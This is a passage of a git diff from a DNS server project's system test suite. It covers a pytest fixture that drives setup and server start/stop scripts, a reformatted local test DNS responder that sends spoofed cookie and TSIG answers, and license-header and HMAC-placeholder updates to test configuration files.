+    ):
+        """Helper function for the shell / perl script invocations (through fixtures below)."""
+        if args is None:
+            args = []
+        path = Path(script)
+        if not path.is_absolute():
+            # make sure relative paths are always relative to system_dir
+            path = system_test_dir.parent / path
+        script = str(path)
+        cwd = os.getcwd()
+        if not path.exists():
+            raise FileNotFoundError(f"script {script} not found in {cwd}")
+        mlogger.debug("running script: %s %s %s", interpreter, script, " ".join(args))
+        mlogger.debug("  workdir: %s", cwd)
+        returncode = 1
+
+        cmd = [interpreter, script] + args
+        with subprocess.Popen(
+            cmd,
+            env=env,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.STDOUT,
+            bufsize=1,
+            universal_newlines=True,
+            errors="backslashreplace",
+        ) as proc:
+            if proc.stdout:
+                for line in proc.stdout:
+                    mlogger.info("    %s", line.rstrip("\n"))
+            proc.communicate()
+            returncode = proc.returncode
+            if returncode:
+                raise subprocess.CalledProcessError(returncode, cmd)
+            mlogger.debug("  exited with %d", returncode)
+
+    @pytest.fixture(scope="module")
+    def shell(env, system_test_dir, mlogger):
+        """Function to call a shell script with arguments."""
+        return partial(_run_script, env, mlogger, system_test_dir, env["SHELL"])
+
+    @pytest.fixture(scope="module")
+    def perl(env, system_test_dir, mlogger):
+        """Function to call a perl script with arguments."""
+        return partial(_run_script, env, mlogger, system_test_dir, env["PERL"])
+
+    @pytest.fixture(scope="module")
+    def run_tests_sh(system_test_dir, shell):
+        """Utility function to execute tests.sh as a python test."""
+
+        def run_tests():
+            shell(f"{system_test_dir}/tests.sh")
+
+        return run_tests
+
+    @pytest.fixture(scope="module", autouse=True)
+    def system_test(  # pylint: disable=too-many-arguments,too-many-statements
+        request,
+        env: Dict[str, str],
+        mlogger,
+        system_test_dir,
+        shell,
+        perl,
+    ):
+        """
+        Driver of the test setup/teardown process. Used automatically for every test module.
+
+        This is the most important one-fixture-to-rule-them-all. Note the
+        autouse=True which causes this fixture to be loaded by every test
+        module without the need to explicitly specify it.
+
+        When this fixture is used, it utilizes other fixtures, such as
+        system_test_dir, which handles the creation of the temporary test
+        directory.
+
+        Afterwards, it checks the test environment and takes care of starting
+        the servers. When everything is ready, that's when the actual tests are
+        executed. Once that is done, this fixture stops the servers and checks
+        for any artifacts indicating an issue (e.g. coredumps).
+
+        Finally, when this fixture reaches an end (or encounters an exception,
+        which may be caused by fail/skip invocations), any fixtures which is
+        used by this one are finalized - e.g. system_test_dir performs final
+        checks and cleans up the temporary test directory.
+        """
+
+        def check_net_interfaces():
+            try:
+                perl("testsock.pl", ["-p", env["PORT"]])
+            except subprocess.CalledProcessError as exc:
+                mlogger.error("testsock.pl: exited with code %d", exc.returncode)
+                pytest.skip("Network interface aliases not set up.")
+
+        def check_prerequisites():
+            try:
+                shell(f"{system_test_dir}/prereq.sh")
+            except FileNotFoundError:
+                pass  # prereq.sh is optional
+            except subprocess.CalledProcessError:
+                pytest.skip("Prerequisites missing.")
+
+        def setup_test():
+            try:
+                shell(f"{system_test_dir}/setup.sh")
+            except FileNotFoundError:
+                pass  # setup.sh is optional
+            except subprocess.CalledProcessError as exc:
+                mlogger.error("Failed to run test setup")
+                pytest.fail(f"setup.sh exited with {exc.returncode}")
+
+        def start_servers():
+            try:
+                perl("start.pl", ["--port", env["PORT"], system_test_dir.name])
+            except subprocess.CalledProcessError as exc:
+                mlogger.error("Failed to start servers")
+                pytest.fail(f"start.pl exited with {exc.returncode}")
+
+        def stop_servers():
+            try:
+                perl("stop.pl", [system_test_dir.name])
+            except subprocess.CalledProcessError as exc:
+                mlogger.error("Failed to stop servers")
+                get_core_dumps()
+                pytest.fail(f"stop.pl exited with {exc.returncode}")
+
+        def get_core_dumps():
+            try:
+                shell("get_core_dumps.sh", [system_test_dir.name])
+            except subprocess.CalledProcessError as exc:
+                mlogger.error("Found core dumps or sanitizer reports")
+                pytest.fail(f"get_core_dumps.sh exited with {exc.returncode}")
+
+        os.environ.update(env)  # Ensure pytests have the same env vars as shell tests.
+        mlogger.info(f"test started: {request.node.name}")
+        port = int(env["PORT"])
+        mlogger.info("using port range: <%d, %d>", port, port + PORTS_PER_TEST - 1)
+
+        if not hasattr(request.node, "stash"):  # compatibility with pytest<7.0.0
+            request.node.stash = {}  # use regular dict instead of pytest.Stash
+        request.node.stash[FIXTURE_OK] = True
+
+        # Perform checks which may skip this test.
+        check_net_interfaces()
+        check_prerequisites()
+
+        # Store the fact that this fixture hasn't successfully finished yet.
+        # This is checked before temporary directory teardown to decide whether
+        # it's okay to remove the directory.
+        request.node.stash[FIXTURE_OK] = False
+
+        setup_test()
+        try:
+            start_servers()
+            mlogger.debug("executing test(s)")
+            yield
+        finally:
+            mlogger.debug("test(s) finished")
+            stop_servers()
+            get_core_dumps()
+            request.node.stash[FIXTURE_OK] = True
diff --git a/bin/tests/system/cookie/ans9/ans.py b/bin/tests/system/cookie/ans9/ans.py
index b454fc8c91..5813475ece 100644
--- a/bin/tests/system/cookie/ans9/ans.py
+++ b/bin/tests/system/cookie/ans9/ans.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 from __future__ import print_function
 import os
@@ -35,28 +35,27 @@
 from dns.rdatatype import *
 from dns.tsig import *
 
+
 # Log query to file
 def logquery(type, qname):
     with open("qlog", "a") as f:
         f.write("%s %s\n", type, qname)
 
+
 # DNS 2.0 keyring specifies the algorithm
 try:
-    keyring = dns.tsigkeyring.from_text({ "foo" : {
-                                                   "hmac-sha256",
-                                                   "aaaaaaaaaaaa"
-                                                  } ,
-                                          "fake" : {
-                                                   "hmac-sha256",
-                                                   "aaaaaaaaaaaa"
-                                                  }
-                                         })
+    keyring = dns.tsigkeyring.from_text(
+        {
+            "foo": {os.getenv("DEFAULT_HMAC", "hmac-sha256"), "aaaaaaaaaaaa"},
+            "fake": {os.getenv("DEFAULT_HMAC", "hmac-sha256"), "aaaaaaaaaaaa"},
+        }
+    )
 except:
-    keyring = dns.tsigkeyring.from_text({ "foo" : "aaaaaaaaaaaa",
-                                           "fake" : "aaaaaaaaaaaa" })
+    keyring = dns.tsigkeyring.from_text({"foo": "aaaaaaaaaaaa", "fake": "aaaaaaaaaaaa"})
 
 dopass2 = False
 
+
 ############################################################################
 #
 # This server will serve valid and spoofed answers. A spoofed answer will
@@ -81,7 +80,7 @@ def create_response(msg, tcp, first, ns10):
     m = dns.message.from_wire(msg, keyring=keyring)
     qname = m.question[0].name.to_text()
     lqname = qname.lower()
-    labels = lqname.split('.')
+    labels = lqname.split(".")
     rrtype = m.question[0].rdtype
     typename = dns.rdatatype.to_text(rrtype)
 
@@ -113,27 +112,31 @@ def create_response(msg, tcp, first, ns10):
     # Add a server cookie to the response
     if labels[0] != "nocookie":
         for o in m.options:
-            if o.otype == 10: # Use 10 instead of COOKIE
-                 if first and labels[0] == "withtsig" and not tcp:
-                     r.use_tsig(keyring = keyring,
-                                keyname = dns.name.from_text("fake"),
-                                algorithm = HMAC_SHA256)
-                 elif labels[0] != "tcponly" or tcp:
-                     cookie = o
-                     if len(o.data) == 8:
-                         cookie.data = o.data + o.data
-                     else:
-                         cookie.data = o.data
-                     r.use_edns(options=[cookie])
+            if o.otype == 10:  # Use 10 instead of COOKIE
+                if first and labels[0] == "withtsig" and not tcp:
+                    r.use_tsig(
+                        keyring=keyring,
+                        keyname=dns.name.from_text("fake"),
+                        algorithm=HMAC_SHA256,
+                    )
+                elif labels[0] != "tcponly" or tcp:
+                    cookie = o
+                    if len(o.data) == 8:
+                        cookie.data = o.data + o.data
+                    else:
+                        cookie.data = o.data
+                    r.use_edns(options=[cookie])
     r.flags |= dns.flags.AA
     return r
 
+
 def sigterm(signum, frame):
-    print ("Shutting down now...")
-    os.remove('ans.pid')
+    print("Shutting down now...")
+    os.remove("ans.pid")
     running = False
     sys.exit(0)
 
+
 ############################################################################
 # Main
 #
@@ -146,19 +149,25 @@ def sigterm(signum, frame):
 ip6_addr1 = "fd92:7065:b8e:ffff::9"
 ip6_addr2 = "fd92:7065:b8e:ffff::10"
 
-try: port=int(os.environ['PORT'])
-except: port=5300
+try:
+    port = int(os.environ["PORT"])
+except:
+    port = 5300
 
 query4_udp1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+query4_udp1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 query4_udp1.bind((ip4_addr1, port))
 query4_tcp1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+query4_tcp1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 query4_tcp1.bind((ip4_addr1, port))
 query4_tcp1.listen(1)
 query4_tcp1.settimeout(1)
 
 query4_udp2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+query4_udp2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 query4_udp2.bind((ip4_addr2, port))
 query4_tcp2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+query4_tcp2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 query4_tcp2.bind((ip4_addr2, port))
 query4_tcp2.listen(1)
 query4_tcp2.settimeout(1)
@@ -170,15 +179,19 @@ def sigterm(signum, frame):
 query6_tcp2 = None
 try:
     query6_udp1 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
+    query6_udp1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     query6_udp1.bind((ip6_addr1, port))
     query6_tcp1 = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
+    query6_tcp1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     query6_tcp1.bind((ip6_addr1, port))
     query6_tcp1.listen(1)
     query6_tcp1.settimeout(1)
 
     query6_udp2 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
+    query6_udp2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     query6_udp2.bind((ip6_addr2, port))
     query6_tcp2 = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
+    query6_tcp2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     query6_tcp2.bind((ip6_addr2, port))
     query6_tcp2.listen(1)
     query6_tcp2.settimeout(1)
@@ -195,24 +208,32 @@ def sigterm(signum, frame):
 
 signal.signal(signal.SIGTERM, sigterm)
 
-f = open('ans.pid', 'w')
+f = open("ans.pid", "w")
 pid = os.getpid()
-print (pid, file=f)
+print(pid, file=f)
 f.close()
 
 running = True
 
-print ("Using DNS version %s" % dns.version.version)
-print ("Listening on %s port %d" % (ip4_addr1, port))
-print ("Listening on %s port %d" % (ip4_addr2, port))
+print("Using DNS version %s" % dns.version.version)
+print("Listening on %s port %d" % (ip4_addr1, port))
+print("Listening on %s port %d" % (ip4_addr2, port))
 if havev6:
-    print ("Listening on %s port %d" % (ip6_addr1, port))
-    print ("Listening on %s port %d" % (ip6_addr2, port))
-print ("Ctrl-c to quit")
+    print("Listening on %s port %d" % (ip6_addr1, port))
+    print("Listening on %s port %d" % (ip6_addr2, port))
+print("Ctrl-c to quit")
 
 if havev6:
-    input = [query4_udp1, query6_udp1, query4_tcp1, query6_tcp1,
-             query4_udp2, query6_udp2, query4_tcp2, query6_tcp2]
+    input = [
+        query4_udp1,
+        query6_udp1,
+        query4_tcp1,
+        query6_tcp1,
+        query4_udp2,
+        query6_udp2,
+        query4_tcp2,
+        query6_tcp2,
+    ]
 else:
     input = [query4_udp1, query4_tcp1, query4_udp2, query4_tcp2]
 
@@ -228,14 +249,19 @@ def sigterm(signum, frame):
 
     for s in inputready:
         ns10 = False
-        if s == query4_udp1 or s == query6_udp1 or \
-           s == query4_udp2 or s == query6_udp2:
+        if s == query4_udp1 or s == query6_udp1 or s == query4_udp2 or s == query6_udp2:
             if s == query4_udp1 or s == query6_udp1:
-                print ("UDP Query received on %s" %
-                       (ip4_addr1 if s == query4_udp1 else ip6_addr1), end=" ")
+                print(
+                    "UDP Query received on %s"
+                    % (ip4_addr1 if s == query4_udp1 else ip6_addr1),
+                    end=" ",
+                )
             if s == query4_udp2 or s == query6_udp2:
-                print ("UDP Query received on %s" %
-                       (ip4_addr2 if s == query4_udp2 else ip6_addr2), end=" ")
+                print(
+                    "UDP Query received on %s"
+                    % (ip4_addr2 if s == query4_udp2 else ip6_addr2),
+                    end=" ",
+                )
                 ns10 = True
             # Handle incoming queries
             msg = s.recvfrom(65535)
@@ -244,31 +270,36 @@ def sigterm(signum, frame):
             print(dns.rcode.to_text(rsp.rcode()))
             s.sendto(rsp.to_wire(), msg[1])
             if dopass2:
-                print ("Sending second UDP response without TSIG", end=" ")
+                print("Sending second UDP response without TSIG", end=" ")
                 rsp = create_response(msg[0], False, False, ns10)
                 s.sendto(rsp.to_wire(), msg[1])
                 print(dns.rcode.to_text(rsp.rcode()))
 
-        if s == query4_tcp1 or s == query6_tcp1 or \
-           s == query4_tcp2 or s == query6_tcp2:
+        if s == query4_tcp1 or s == query6_tcp1 or s == query4_tcp2 or s == query6_tcp2:
             try:
                 (cs, _) = s.accept()
                 if s == query4_tcp1 or s == query6_tcp1:
-                    print ("TCP Query received on %s" %
-                           (ip4_addr1 if s == query4_tcp1 else ip6_addr1), end=" ")
+                    print(
+                        "TCP Query received on %s"
+                        % (ip4_addr1 if s == query4_tcp1 else ip6_addr1),
+                        end=" ",
+                    )
                 if s == query4_tcp2 or s == query6_tcp2:
-                    print ("TCP Query received on %s" %
-                           (ip4_addr2 if s == query4_tcp2 else ip6_addr2), end=" ")
+                    print(
+                        "TCP Query received on %s"
+                        % (ip4_addr2 if s == query4_tcp2 else ip6_addr2),
+                        end=" ",
+                    )
                     ns10 = True
                 # get TCP message length
                 buf = cs.recv(2)
-                length = struct.unpack('>H', buf[:2])[0]
+                length = struct.unpack(">H", buf[:2])[0]
                 # grep DNS message
                 msg = cs.recv(length)
                 rsp = create_response(msg, True, True, ns10)
                 print(dns.rcode.to_text(rsp.rcode()))
                 wire = rsp.to_wire()
-                cs.send(struct.pack('>H', len(wire)))
+                cs.send(struct.pack(">H", len(wire)))
                 cs.send(wire)
                 cs.close()
             except s.timeout:
diff --git a/bin/tests/system/cookie/bad-cookie-badaes.conf b/bin/tests/system/cookie/bad-cookie-badaes.conf
index 6c8e42cabd..7d8cfe3b83 100644
--- a/bin/tests/system/cookie/bad-cookie-badaes.conf
+++ b/bin/tests/system/cookie/bad-cookie-badaes.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/bad-cookie-badhex.conf b/bin/tests/system/cookie/bad-cookie-badhex.conf
index 318425f96a..43c11adae2 100644
--- a/bin/tests/system/cookie/bad-cookie-badhex.conf
+++ b/bin/tests/system/cookie/bad-cookie-badhex.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/bad-cookie-badsiphash24.conf b/bin/tests/system/cookie/bad-cookie-badsiphash24.conf
index 392cb04473..25ff78f045 100644
--- a/bin/tests/system/cookie/bad-cookie-badsiphash24.conf
+++ b/bin/tests/system/cookie/bad-cookie-badsiphash24.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/bad-cookie-toolong.conf b/bin/tests/system/cookie/bad-cookie-toolong.conf
index 3171b3c567..5ea67b9f2f 100644
--- a/bin/tests/system/cookie/bad-cookie-toolong.conf
+++ b/bin/tests/system/cookie/bad-cookie-toolong.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/clean.sh b/bin/tests/system/cookie/clean.sh
index a9130d709d..d0675aa4fb 100644
--- a/bin/tests/system/cookie/clean.sh
+++ b/bin/tests/system/cookie/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/cookie/good-cookie-aes.conf b/bin/tests/system/cookie/good-cookie-aes.conf
index efb56a67a4..97a6f67896 100644
--- a/bin/tests/system/cookie/good-cookie-aes.conf
+++ b/bin/tests/system/cookie/good-cookie-aes.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/good-cookie-siphash24.conf b/bin/tests/system/cookie/good-cookie-siphash24.conf
index 2e2f628543..c937d71277 100644
--- a/bin/tests/system/cookie/good-cookie-siphash24.conf
+++ b/bin/tests/system/cookie/good-cookie-siphash24.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/ns1/example.db b/bin/tests/system/cookie/ns1/example.db
index fae6856e80..75a6d3c96a 100644
--- a/bin/tests/system/cookie/ns1/example.db
+++ b/bin/tests/system/cookie/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/ns1/named.conf.in b/bin/tests/system/cookie/ns1/named.conf.in
index d26ea7463e..20ebca30c0 100644
--- a/bin/tests/system/cookie/ns1/named.conf.in
+++ b/bin/tests/system/cookie/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,12 +13,12 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 key foo {
 	secret "aaaaaaaaaaaa";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 server 10.53.0.10 {
@@ -28,9 +30,9 @@ controls {
 };
 
 options {
-	query-source address 10.53.0.1 dscp 1;
-	notify-source 10.53.0.1 dscp 2;
-	transfer-source 10.53.0.1 dscp 3;
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
diff --git a/bin/tests/system/cookie/ns1/root.hint b/bin/tests/system/cookie/ns1/root.hint
index 64769b9fe6..993227deb6 100644
--- a/bin/tests/system/cookie/ns1/root.hint
+++ b/bin/tests/system/cookie/ns1/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/ns2/named.conf.in b/bin/tests/system/cookie/ns2/named.conf.in
index e1073f92b6..cd74d8adca 100644
--- a/bin/tests/system/cookie/ns2/named.conf.in
+++ b/bin/tests/system/cookie/ns2/named.conf.in
@@ -1,18 +1,20 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 options {
-	query-source address 10.53.0.2 dscp 1;
-	notify-source 10.53.0.2 dscp 2;
-	transfer-source 10.53.0.2 dscp 3;
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.2; };
diff --git a/bin/tests/system/cookie/ns2/root.db b/bin/tests/system/cookie/ns2/root.db
index d0cea9acd9..533ab88ee8 100644
--- a/bin/tests/system/cookie/ns2/root.db
+++ b/bin/tests/system/cookie/ns2/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/ns3/named.conf.in b/bin/tests/system/cookie/ns3/named.conf.in
index abb688e0e3..090d528ba3 100644
--- a/bin/tests/system/cookie/ns3/named.conf.in
+++ b/bin/tests/system/cookie/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -19,9 +21,9 @@ controls {
 };
 
 options {
-	query-source address 10.53.0.3 dscp 1;
-	notify-source 10.53.0.3 dscp 2;
-	transfer-source 10.53.0.3 dscp 3;
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.3; };
diff --git a/bin/tests/system/cookie/ns3/root.hint b/bin/tests/system/cookie/ns3/root.hint
index 64769b9fe6..993227deb6 100644
--- a/bin/tests/system/cookie/ns3/root.hint
+++ b/bin/tests/system/cookie/ns3/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/ns4/named.conf.in b/bin/tests/system/cookie/ns4/named.conf.in
index 7ed0760f17..c49b87ec10 100644
--- a/bin/tests/system/cookie/ns4/named.conf.in
+++ b/bin/tests/system/cookie/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/cookie/ns4/root.hint b/bin/tests/system/cookie/ns4/root.hint
index 64769b9fe6..993227deb6 100644
--- a/bin/tests/system/cookie/ns4/root.hint
+++ b/bin/tests/system/cookie/ns4/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/ns5/named.conf.in b/bin/tests/system/cookie/ns5/named.conf.in
index 7dd681b7f3..87210adbf8 100644
--- a/bin/tests/system/cookie/ns5/named.conf.in
+++ b/bin/tests/system/cookie/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/cookie/ns5/root.hint b/bin/tests/system/cookie/ns5/root.hint
index 64769b9fe6..993227deb6 100644
